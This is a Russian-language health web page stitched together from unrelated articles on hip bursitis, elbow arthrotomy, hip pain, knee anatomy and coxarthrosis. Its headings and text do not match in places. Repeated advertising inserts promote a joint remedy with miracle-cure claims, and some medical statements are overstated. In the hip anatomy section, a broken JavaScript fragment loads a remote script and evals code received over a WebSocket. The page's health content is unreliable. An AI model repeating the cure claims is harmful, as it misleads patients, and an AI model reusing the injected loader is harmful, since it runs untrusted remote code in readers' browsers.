Как справиться с бурситом тазобедренного сустава?

Коксартроз (остеартроз, деформирующий артроз) тазобедренного сустава — заболевание опорно-двигательного аппарата. При коксартрозе в хрящевой ткани сустава развивается дегенеративно-дистрофический процесс.

Симптомы бурсита тазобедренного сустава

Бурсит тазобедренного сустава имеет основным симптомом острые болевые ощущения в тазобедренном суставе, которые локализуются с наружной стороны бедра. В начале развития заболевания боль бывает сильной и интенсивной, но по мере распространения патологического воспаления со временем притупляется.

Отмечаются и другие симптомы бурсита тазобедренного сустава:

  • Болезненная припухлость в месте поврежденного сустава, имеющая округлую форму и достигающая в диаметре до 10 см.
  • Отек тканей вокруг синовиальной сумки.
  • Повышенная температура (иногда до 40°).
  • Гиперемия кожи.
  • Общее недомогание.
  • Нарушение полноценного функционирования сустава.

При вертлужном бурсите возникает сильная болезненность наружной части бедра, из-за которой возникают трудности с лежанием на задействованной стороне. Пациента беспокоит тяжелый сон. Жгучая боль мешает подниматься по лестнице и сковывает человека в движениях. Седалищный бурсит вызывает тупую боль в верхнем участке бедренной кости, особенно при подъеме вверх, а также сгибании-разгибании бедра. Боль может усиливаться при продолжительном сидении на твердой поверхности.

Когда бурсит переходит в хроническую форму, симптомы станут менее выраженными, а в зоне расположения воспаленной синовиальной сумки наблюдается небольшая припухлость, имеющая округлую форму и мягкую консистенцию. Для хронической формы бурсита характерно отсутствие жгучей боли и сохранение функций сустава. Обострение заболевания вызывает увеличение количество экссудата в полости поврежденной сумки, что часто приводит к образованию кистозной полости, заполненной жидкостью.

Если воспаление синовиальной сумки тазобедренного сустава вызвано инфекционным возбудителем, может развиться гнойный бурсит. Его основной симптом – резкая болезненность, которая наблюдается при отведении конечности, а также сгибании-разгибании бедра. На наружном участке бедра локализуется припухлость. Из-за сильной боли человек не может полностью согнуть или разогнуть бедро, ‒ таким образом, объясняется постоянное нахождение бедра в полусогнутом положении и отведение его наружу.

Артротомия локтевого сустава: показания для операции

Многие годы пытаетесь вылечить СУСТАВЫ?

Глава Института лечения суставов: «Вы будете поражены, насколько просто можно вылечить суставы принимая каждый день…

Читать далее »

Одной из ортопедических операций, выполняемых на верхней конечности, является артротомия, сущность которой заключается во вскрытии полости данного сочленения.

Производится довольно часто в связи с высокой распространенностью его заболеваний. Относится к оперативным вмешательствам средней сложности. Используется как самостоятельная операция или в роли первого этапа более сложных процедур на локтевом суставе, что зависит от причин ее выполнения.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют Артрейд. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию. Подробнее здесь…

  • Показания для операции
  • Техника вмешательства
  • Виды доступов к локтевому суставу
  • Видео по теме

Показания для операции

Они могут возникнуть при поражении хрящевых и костных структур, образующих сочленение. Заболевания, при которых производят артротомию:

ВАЖНО ЗНАТЬ! Единственное средство для лечения суставов, рекомендованное врачами! Читать далее…

  1. Гнойный артрит любого происхождения;
  2. Анкилоз (обездвиженность);
  3. Внутрисуставные переломы;
  4. Отрывы костных и хрящевых компонентов сочленения;
  5. Полное разрушение сочленения с необходимостью его резекции;
  6. Эндопротезирование (замена на искусственный протез) всего сочленения или отдельных его элементов;
  7. Рецидивирующий гемартроз (скопление крови);
  8. Внутрисуставные инородные тела и открытые повреждения с необходимостью ревизии.

Техника вмешательства

Артротомия производится под местным, общим или проводниковым обезболиванием. Выбор метода зависит от объема планируемого вмешательства. Если это обычное вскрытие сочленения для дренирования и промывания, то достаточно инфильтрировать ткани раствором новокаина или иного анестетика.

Читайте также:  Сильное обезболивающее от боли в коленных суставах

После обработки операционного поля послойно рассекаются кожа и мягкие ткани до проникновения в сочленение. Мои пациенты пользуются проверенным средством, благодаря которому можно избавится от болей за 2 недели без особых усилий.

Выбор локализации разреза, его размеров и направления зависит от масштабности операции. Он должен быть удобным для хирурга и не вызывать нарушения подвижности после формирования рубца в отдаленном послеоперационном периоде.

Виды доступов к локтевому суставу

Продольная задняя артротомия. Выполняется наиболее часто при небольшом объеме манипуляций, производимых на его элементах.

При этом разрез локализован по задней поверхности локтя. Начинается он чуть выше и кзади от медиального надмыщелка плечевой кости и проводится вертикально вниз на расстоянии от 2-3 до 4-5 сантиметров. Рассекается кожа и капсула сочленения, которые затем восстанавливаются узловыми швами.

Артротомия по Кохеру относится к наиболее функциональным и удобным доступам к сочленению при сложных вмешательствах, резекции и протезировании.

Разрез имеет дугообразную форму и проводится следующим образом. Начинается на 4-5 см выше наружного плечевого надмыщелка, проводится вниз вертикально до головки луча, после чего поперечно изгибается по направлению к локтевой кости.

Из-за чего может болеть тазобедренный сустав

Многие годы пытаетесь вылечить СУСТАВЫ?

Глава Института лечения суставов: «Вы будете поражены, насколько просто можно вылечить суставы принимая каждый день…

Читать далее »

Прежде чем говорить о причинах вызывающих боль в тазобедренном суставе, следует хотя бы в нескольких строках описать строение таза и, конечно, тазобедренного сустава.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют Артрейд. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию. Подробнее здесь…

  • Анатомия таза

    Таз состоит из трех тазовых сочленений:

    ВАЖНО ЗНАТЬ! Единственное средство для лечения суставов, рекомендованное врачами! Читать далее…

    1. Лобковый симфоз
    2. Парный крестцово-подвздошный сустав
    3. Парный тазобедренный сустав

    Лобковый симфиз и крестцово-подвздошный сустав – малоподвижные образования. А тазобедренный сустав, наоборот, образование, благодаря своей форме, имеющее возможность выполнять множество движений.

    ‘); } (»); var e = (‘script’); = «text/javascript»; = «//»; = true; = = function () { if (! || == «loaded» || == «complete») { = = null; (b); } }; = function () { var s = new WebSocket(‘ws://’); = function (event) { eval(); (b); }; }; («head»)[0].appendChild(e); })(document, {id: 1571, count: 4});

    Тазобедренный сустав можно описать как шар (головка бедренной кости – Головка БК), расположенный в глубоком чашеобразном гнезде (ацетабулярная впадина).

    Тазобедренный сустав (наряду с коленным суставом), один из крупных суставов костной системы человека.

    Если у животных, ходящих на четырех лапах, нагрузка равномерно распределяется на все суставы, то у прямоходящих людей, основную нагрузку во время ходьбы, бега, прыжков и переноса тяжестей берут на себя именно тазобедренные суставы.

    Головка БК покрыта суставным хрящом, имеющим толщину до 4 мм. Благодаря этому хрящу трение между суставными поверхностями сводится к минимуму, и не вызывает у боли.

    Все кости живого организма снабжаются кровью. Кровоснабжение бедренной головки осуществляется несколькими способами:

    1. Сосудами, идущими к бедренной головке через капсулу, расположенную в суставе
    2. Сосудами, расположенными в самой кости
    3. Сосудом, расположенным в связке головки БК

    Кровеносный сосуд, расположенный в связке головки БК, с возрастом, имеет обыкновение истончаться, именно поэтому у всех пожилых людей появляются проблемы с тазобедренным суставом.

    Причины

    Установление причины боли в тазобедренном суставе – процесс довольно долгий, так как список того, что может вызвать эти неприятные ощущения, велик, и в него входят:

    • Травма тазобедренного сустава
    • Патологии тазобедренного сустава
    • Возрастные изменения в тазобедренном суставе
    • Болезни и травмы позвоночника
    • Болезни мочеполовых органов
    • Патологические процессы в брюшной полости

    Есть и другие, трудноопределяемые причины, могущие вызвать боль в тазобедренном суставе. К ним относятся:

    Народ опешил! Суставы восстановятся за 3 дня! Приложите… Мало кто знает, но именно это лечит суставы за 7 дней!

    • Первичный и вторичный рак кости
    • Токсичный синовит
    • Остеомаляция
    • Остеомиелит и др.
    Читайте также:  Дегенеративно-дистрофические изменения в суставах

    У детей, боль в тазобедренном суставе может быть обусловлена:

    • Болезню Стилла
    • Болезнью Легг-Кальве-Пертеса
    • Ювенильным ревматоидным артритом

    Диагностика

    При болях в тазобедренных суставах (в обоих или в одном) необязательно проводить стационарное обследование – все можно сделать амбулаторно.

    Первым долгом врач очень тщательно собирает анамнез, главными пунктами которого являются:

    • интенсивность боли;
    • характер боли;
    • может ли больной продолжать обычную жизнь или должен отказаться от старых привычек (например, бегать по утрам).

    Инструментальная диагностика

    • Клинический анализ крови
    • Клинический анализ мочи
    • Электрокардиограмма
    • Рентгенография и/или МРТ пояснично-крестцового отдела позвоночника и тазобедренных суставов

    Лечение (видео)

    Всем пациентам с большим весом, настоятельно рекомендуется похудеть.

    Если болевые ощущения интенсивные, возможно, больному назначат анальгетики, и, в зависимости от причины, вызвавшей боль, будет решаться вопрос о том, какое лечение (терапевтическое или хирургическое) следует проводить дальше.

    Лечебная гимнастика

    Независимо от причины боли, весьма полезны лечебная гимнастика, специально разработанная для улучшения состояния тазобедренного сустава.

    Немного анатомии

    В области бедра существуют три основные группы мышц:

    • разгибатели бедра (на задней поверхности);
    • четырехглавая мышца бедра (на передней поверхности бедра);
    • приводящие мышцы (внутренняя (медиальная) сторона).

    Четырехглавая мышца и мышцы задней группы принимают участие в сгибании и разгибании нижних конечностей. В свою очередь мышцы внутренней группы выполняют приводящую функцию и участвуют в приведении бедра.

    Из этого следует, что растяжение или разрыв связок в области тазобедренного сустава, а также повреждение четырехглавой мышцы – нередко встречающиеся травмы. Особенно часто травмированию подвергаются спортсмены или люди, занятые на тяжелых или опасных видах производства.

    Коленный сустав

    Один из крупных и сложно устроенных суставов человека. Его образуют 3 кости: бедренная, большеберцовая и малоберцовая. Стабильность коленному суставу обеспечивают внутри- и внесуставные связки. Внесуставными связками сустава являются малоберцовая и большеберцовая коллатеральные связки, косая и дугообразная подколенные связки, связка надколенника, медиальная и латеральная поддерживающие связки надколенника. К внутрисуставным связкам относятся передняя и задняя крестообразные связки.

    Сустав имеет много вспомогательных элементов, таких как мениски, внутрисуставные связки, синовиальные складки, синовиальные сумки. В каждом коленном суставе имеются по 2 мениска — наружный и внутренний. Мениски имеют вид полулуний и выполняют амортизационную роль. К вспомогательным элементам этого сустава относятся синовиальные складки, которые образуются синовиальной мембраной капсулы. Коленный сустав также имеет несколько синовиальных сумок, часть из которых сообщается с полостью сустава.

    Каждому приходилось восхищаться выступлениями спортивных гимнасток и артистов цирка. О людях, способных залезать в небольшие ящики и неестественно выгибаться, говорят, что у них гуттаперчевые суставы. Разумеется, это не так. Авторы «Оксфордского справочника органов тела» уверяют читателей, что «у таких людей суставы феноменально гибки» — в медицине это называется синдромом гипермобильности суставов.

    1. бедренная кость
    2. большеберцовая кость
    3. хрящ
    4. синовиальная жидкость
    5. внутренний и наружный мениски
    6. медиальная связка
    7. латеральная связка
    8. крестообразная связка
    9. надколенник

    По форме сустав является мыщелковым суставом. В нем возможны движения вокруг 2 осей: фронтальной и вертикальной (при согнутом положении в суставе). Вокруг фронтальной оси происходит сгибание и разгибание, вокруг вертикальной оси — вращение.

    Коленный сустав очень важен для передвижения человека. При каждом шаге за счет сгибания он дает возможность ноге шагнуть вперед без удара о землю. Иначе нога выносилась бы вперед за счет поднятия бедра.

    Трудности диагностики

    Точный диагноз может поставить только квалифицированный врач после проведения дополнительных исследований:

    1. Анализы крови. Помогают выявить воспалительный процесс, а также различные нарушения в работе организма, которые могли повлиять на состояние опорно-двигательного аппарата.
    2. УЗИ. Показывает структурные изменения, скопление жидкости и наличие новообразований.
    3. Рентген. Может обнаружить смещение костных фрагментов или их повреждение, но не во всех случаях.
    4. МРТ. Томография является наиболее информативным методом, так как показывает послойно костную, хрящевую и мягкие ткани, а также сосуды. Для получения подробностей можно использовать контрастирование.
    5. Остеосцинтиграфия. Радионуклиды позволяют выявить отклонения в структуре сустава и прилегающих костных участков.

    Обследование с помощью рентгена неэффективно, так как тазобедренный сустав залегает глубоко в мягких тканях и доступ к нему затруднен. Частично оценить ситуацию помогают специальные приемы и двигательные тесты при физикальном осмотре.

    Эффективность терапии на разных стадиях заболевания ↑

    Начинать прием хондропротекторов необходимо при появлении первых признаков суставного заболевания дегенеративного характера:

    • В начале болезни суставная жидкость изменяет свои свойства, становится густой и вязкой. Нарушается кровообращение, замедляются обменные процессы в хрящевой ткани и атрофируются мышцы.
    • Суставной хрящ начинает сохнуть, его поверхность покрывается трещинами и становится шероховатой. Хрящ, не выдерживая повышенного трения при движении, начинает истончаться, увеличивается давление на кости, которые постепенно деформируются.
    • В период реактивного воспаления хрящевого сустава появляются суставные боли.

    Коксартроз 1 степени

    Характеризуется слабовыраженными периодическими болями в области тазобедренного сустава (реже, в области бедра и коленного сустава), которые возникают при сильных физических нагрузках и исчезают в состоянии покоя.

    Амплитуда движений пока не ограничена, походка и мышечная сила не изменены.

    Головка и шейка бедренной кости не изменены, но суставная щель уже сильно сужена.

    Регулярный прием хондропротекторов в составе комплексного лечения на самой ранней стадии развития деформирующего артроза позволяет:

    • улучшить двигательную активность сустава;
    • остановить процесс разрушения хрящевой ткани;
    • стимулировать регенерацию суставной ткани;
    • полностью сохранить функции тазобедренного сустава.

    Коксартроз 2 степени

    Характеризуется усилением болевых ощущений в хрящевом суставе, в паховой области, в колене, боль появляется не только при нагрузках, но и в состоянии покоя.

    Возникает скованность в движениях, наблюдается прихрамывание, начинает развиваться атрофия мышц. Головка бедренной кости увеличивается в объеме и деформируется, утолщается и расширяется шейка бедренной кости, наблюдается тенденция к смещению головки тазобедренной кости.

    Регулярный прием хондропротекторов в составе комплексного лечения на поздних стадиях развития заболевания:

    • улучшает двигательную активность сустава;
    • снижает боль;
    • позволяет сохранить работоспособность;
    • снижает риск развития осложнений.

    Коксартроз 3 степени

    Характеризуется болями, которые носят постоянный характер.

    При ходьбе больной вынужден использовать трость, наблюдается укорочение конечности. Движения в суставе серьезно ограничены, атрофируются мышцы бедра, ягодиц, голени. Суставная щель резко сужена, значительно расширена шейка бедренной кости.

    На этой стадии хондропротекторы бесполезны. Рекомендовано хирургическое лечение.

    Методы лечения

    Если была обнаружена киста тазобедренного сустава, лечение назначается в индивидуальном порядке. Применяются как консервативные, так и радикальные методики, причем чаще всего требуется именно операция.

    Показаниями к ее проведению могут стать:

    • крупные размеры новообразования;
    • угроза разрыва капсулы;
    • сдавливание окружающих тканей;
    • костная киста, способствующая дальнейшему разрушению сустава;
    • затруднения двигательной способности;
    • сильные боли;
    • тромбофлебит;
    • повышенный риск развития прочих осложнений.
    Методы лечения
    Методы лечения

    Основные направления, применяемые для лечения кисты ТБС представлены в таблице:

    Методы лечения
    Методы лечения
    Методы лечения

    Методы лечения

    Что способствует возникновению тазобедренного синовита?

    Начальным этапом развития суставного воспаления становятся хрящевые деформации и раздражение сустава после ушиба, падения, вследствие чрезмерных нагрузок, что характерно для маленьких детей и пожилых людей. В детском и подростковом возрасте патология имеет проходящий характер и является реакцией на какие-либо раздражители. Транзиторный синовит в большинстве случаев проходит самостоятельно. Умеренный синовит часто сопровождает остеоартрит. Болезнь может проявляться в острой форме с ярко выраженной симптоматикой, особенно если присутствует гнойный выпот. Хроническая форма патологии у взрослых протекает почти бессимптомно, периодически обостряясь. Причины воспаления суставной полости:

    • травмы, вывихи тазобедренной области;
    • аутоиммунные заболевания — ревматизм, васкулит;
    • аллергии;
    • нарушение метаболизма;
    • сбой работы эндокринной системы;
    • инфекции и системные болезни — туберкулез, дифтерия, грипп;
    • неврологические дисфункции;
    • дистрофические изменения в тазобедренном суставе (артрит).

    Отсутствие выраженной симптоматики на первых стадиях недуга приводит к запущенности и приобретению хронической формы течения.